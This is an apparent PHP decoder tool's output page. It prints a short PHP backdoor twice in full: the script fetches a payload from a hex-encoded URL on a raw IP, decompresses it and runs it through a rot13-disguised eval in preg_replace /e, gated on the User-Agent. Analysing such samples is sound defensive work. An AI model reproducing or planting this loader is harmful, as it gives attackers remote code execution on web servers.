Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); session_start(); header("Content-type:text/html;charset=gbk")..

Decoded Output download

<?php 
error_reporting(0); 
session_start(); 
header("Content-type:text/html;charset=gbk"); 
$password = "d69tjj0sb2dlbq9"; 
if(empty($_SESSION['api1234'])) 
  $_SESSION['api1234']=file_get_contents(sprintf('%s?%s',pack("H*",'687474703A2F2F3132332E3132352E3131342E38322F6A78666275636B657432303134312F6861636B2F312E6A7067'),uniqid())); 
if(stripos($_SERVER['HTTP_USER_AGENT'],'baidu')+0==0) exit; 
if(stripos($_SERVER['HTTP_USER_AGENT'],'myccs')+0==0) exit;   
($b4dboy = gzuncompress($_SESSION['api1234'])) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 
?>

Did this file decode correctly?

Original Code

<?php 
error_reporting(0); 
session_start(); 
header("Content-type:text/html;charset=gbk"); 
$password = "d69tjj0sb2dlbq9"; 
if(empty($_SESSION['api1234'])) 
  $_SESSION['api1234']=file_get_contents(sprintf('%s?%s',pack("H*",'687474703A2F2F3132332E3132352E3131342E38322F6A78666275636B657432303134312F6861636B2F312E6A7067'),uniqid())); 
if(stripos($_SERVER['HTTP_USER_AGENT'],'baidu')+0==0) exit; 
if(stripos($_SERVER['HTTP_USER_AGENT'],'myccs')+0==0) exit;   
($b4dboy = gzuncompress($_SESSION['api1234'])) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); 
?>

Function Calls

header 1
session_start 1
error_reporting 1

Variables

None

Stats

MD5 2daecae6aac185548df7f18d7095edeb
Eval Count 0
Decode Time 78 ms